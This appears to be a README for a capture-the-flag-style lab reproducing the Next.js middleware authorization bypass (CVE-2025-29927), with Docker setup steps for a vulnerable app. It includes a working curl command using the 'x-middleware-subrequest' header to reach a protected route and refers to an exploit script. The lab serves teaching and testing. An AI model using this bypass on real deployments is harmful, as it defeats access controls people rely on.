
This is a Capture The Flag (CTF) styled Proof of Concept for the Next.js Middleware Authorization Bypass vulnerability (CVE-2025-29927). The goal is to bypass the auth middleware and retrieve the flag from the /protected route.
/protected/git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
This will start the vulnerable Next.js app on http://IP:3000
Try accessing:
curl -i http://IP:3000/protected
You will be redirected to /.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
Use the provided exploit.py to bypass the middleware and access the protected route:
python3 exploit.py -url http://IP:3000
If successful, you will retrieve the flag from /protected.
Dockerfile - Builds the vulnerable Next.js applicationexploit.py - Exploits the vulnerability to bypass authpages/ - Contains the vulnerable /protected and /login routesmiddleware.js - The vulnerable middleware logicREADME.md - This fileThis PoC is for educational and research purposes only. Do not use it against systems you do not own or have explicit permission to test.
Find the flag by exploiting the vulnerability and accessing:
http://IP:3000/protected
Good luck! 🏴☠️